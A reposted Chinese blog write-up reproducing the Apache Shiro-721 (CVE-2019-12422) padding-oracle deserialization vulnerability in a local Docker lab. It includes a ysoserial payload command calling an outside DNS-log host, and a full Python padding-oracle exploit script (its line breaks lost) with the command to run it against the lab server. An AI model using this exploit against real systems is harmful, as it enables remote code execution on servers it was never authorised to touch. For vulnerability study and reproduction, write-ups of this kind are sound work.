转载至

shiro721复现 - qianxinggz - 博客园 (cnblogs.com)

转载文章也是参考https://github.com/inspiringz/Shiro-721

目录

  • 前言
  • 一、环境搭建和知识储备
    • 1.1、影响版本
    • 1.2、Docker搭建环境
    • 1.3、漏洞原理
  • 二、复现过程
    • 1、整体思路
    • 2、具体流程
  • 三、工具利用
    • 使用ShiroExploit.jar

前言#

花费了2/3day的时间复现和了解这个漏洞,其挖掘的思路涉及到的密码学知识挺有意思的,叫做Padding Oracle Attack,可以在公开的exp中看到这个思路。但是该漏洞的利用却十分鸡肋,它的加密方式决定了我们发送的payload越长,爆破方式去加密payload的过程越长。不建议花费时间去研究利用,exp可以学学。

一、环境搭建和知识储备#

1.1、影响版本#

Apache Shiro < 1.4.2 

CVE-2019-12422

1.2、Docker搭建环境#

1、获取DOCKFILE

git clone https://github.com/3ndz/Shiro-721.git cd Shiro-721/Docker 

2、构建和运行DOCKFILE

docker build -t shiro-721 . //不要忽略721后面的那个点,意为当前路径 docker run -p 8080:8080 -d shiro-721 

3、注意事项
环境搭建主要采用了网上github存在的一个镜像,复现时遇到一些问题

https://github.com/3ndz/Shiro-721

这个docker镜像中存在的war包中的lib主要是Common-Collections3.2.2的,正好是漏洞修复了的版本,不存在可利用的cc链。因此我们要下载一个Common-Collections3.1放至生成的docker对应的tomcat目录下。

docker cp /root/Common-Collections3.1.jar [dockerid]:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/Common-Collections3.1.jar 

同时还要删除原来的Common-Collections3.2.2版本的jar包防止干扰

1.3、漏洞原理#

漏洞原理没有做深入探究,看了两篇文章做了一个了解。如下

浅析Shiro Padding Oracle Attack
Padding oracle attack详细解析
根本原理就是shiro中cookie的cookiememeMe已通过AES-128-CBC模式加密,这很容易受到填充oracle攻击的影响。攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后制作精心制作的RememberMe来执行Java反序列化攻击。

二、复现过程#

1、整体思路#

访问登录页面,登录
请求account页面,只需要抓包时能获取到rememberMe=xxx都可
利用exp爆破payload的加密密文
获取密文后对之前请求的页面以rememberMe=xxx的格式重放
获取到命令执行结果

2、具体流程#

1、勾选Remermber Me,登录shiro认证后的页面

2、登录后点击account页,抓包获取rememberMe对应的cookie值

3、使用ysoserial生成payload,前提是环境中存在可利用的链
这里命令用双引号括起来,暂时还没有深入研究ysoserial,用单引号存在问题

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsBeanutils1 "xxx.ceye.io" > payload.class

4、利用公开exp使用Padding Oracle方式爆破payload的密文

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import timeclass PadBuster(PaddingOracle):def __init__(self, **kwargs):super(PadBuster, self).__init__(**kwargs)self.session = requests.Session()self.wait = kwargs.get('wait', 2.0)def oracle(self, data, **kwargs):somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)self.session.cookies['rememberMe'] = somecookieif self.session.cookies.get('JSESSIONID'):del self.session.cookies['JSESSIONID']while 1:try:response = self.session.get(sys.argv[1],stream=False, timeout=5, verify=False)breakexcept (socket.error, requests.exceptions.RequestException):logging.exception('Retrying request in %.2f seconds...',self.wait)time.sleep(self.wait)continueself.history.append(response)if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):logging.debug('No padding exception raised on %r', somecookie)returnraise BadPaddingExceptionif __name__ == '__main__':import loggingimport sysif not sys.argv[3:]:print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )sys.exit(1)logging.basicConfig(level=logging.DEBUG)encrypted_cookie = b64decode(unquote(sys.argv[2]))padbuster = PadBuster()payload = open(sys.argv[3], 'rb').read()enc = padbuster.encrypt(plaintext=payload, block_size=16)print('rememberMe cookies:')print(b64encode(enc))

5、使用以下命令执行脚本,地址为登录后的需要提交cookie的页面

python shiro_exp.py http://192.168.164.152:8080/account [rememberMeCookie] payload.class 

6、经过漫长的等待(起码3个小时不间断的请求),获取到了最终爆破出来的经过加密的payload,我们将这个payload加上rememberMe在之前的页面重放

7、最终在docker里的/tmp目录创建了文件

三、工具利用#

使用ShiroExploit.jar#

没有验证过,因为时间太长,不适用于实际环境的测试。会把环境打崩或者ip被ban

shiro721复现相关推荐

  1. Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现

    Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 环境搭建 安装git 使用dockerfile 启动docker 获取dockerfile 查看是 ...

  2. Shiro-721漏洞复现

    Apache Shiro 存在高危代码执行漏洞.该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding ...

  3. Apache Shiro-721反序列化漏洞复现(vulhub)

    下载并启动环境 docker pull vulfocus/shiro-721 docker run -d -p 8080:8080 vulfocus/shiro-721 登录网页 输入用户名和密码并勾 ...

  4. 一次历史漏洞分析与复现的全部过程

    环境需求 系统:Windows10 中间件:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.58/bin/apache-tomcat-9.0.58-wind ...

  5. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  6. shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    文章目录 1. 前置知识 1.1 shiro550利用条件 原理 1.2 shiro721利用条件 原理 shiro-721对cookie中rememberMe的值的解析过程 1.3 基于返回包的sh ...

  7. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

  8. shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    漏洞原理 本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后. 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证.授权.密码和会话管理. ...

  9. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  10. Facebook 发布深度学习工具包 PyTorch Hub,让论文复现变得更容易

    近日,PyTorch 社区发布了一个深度学习工具包 PyTorchHub, 帮助机器学习工作者更快实现重要论文的复现工作.PyTorchHub 由一个预训练模型仓库组成,专门用于提高研究工作的复现性以 ...

最新文章

  1. Mybatis 通用 Mapper 使用 ①
  2. 请问:hive中avg聚合函数会使用到combiner功能吗?
  3. 收藏!这些 IDE 使用技巧,你都知道吗
  4. SQL Server之体系结构
  5. 计算机时区找不到北京,系统缺少北京时区的解决办法
  6. 判断字符串是否是正整数
  7. Locality-sensitive hashing
  8. java上下载不了jdk_新手想学java,到哪里下载jdk?我在甲骨文官网下载jdk下载不了。...
  9. IntelliJ IDEA使用教程
  10. echar 数据显示在小圆点里
  11. RFC2544背靠背测试——信而泰Renix测试软件实操
  12. AF 服务器安全防护实验
  13. <aop:aspectj-autoproxy />作用
  14. 宏观经济及贵金属年报:经济温和复苏,金银宽幅震荡-20210104.PDF
  15. 幼儿园语言活动包括哪几类_幼儿园语言活动形式有哪些
  16. html5 canvas画椭圆形
  17. 各种门平面图画法_cad门的画法_用CAD画门的平面图的方法步骤图
  18. 水水笔-first(04/29)
  19. CS6的css的类别,Photoshop CS6使用“样式”面板
  20. ffmpeg.exe系统错误,出现找不到avutil-56.dll

热门文章

  1. python开发面试笔试题_Python测试开发面试笔试题
  2. python下载大文件mp4_Python 实现视频爬取下载及断点续传优化、异步下载
  3. MYSQL常用函数总结
  4. 数学建模层次分析法例题及答案_数学建模方法层次分析法实例.doc
  5. 【离散数学】数理逻辑 第一章 命题逻辑(2) 命题公式及其符号化、命题公式的赋值
  6. 我的第一个三菱FX5U程序
  7. 软件设计说明书模版(申请软件著作权可供参考)
  8. 海康SDK-javademo实现报错问题解决
  9. Unix环境高级编程第三版
  10. 3500常用汉字书法体检测数据集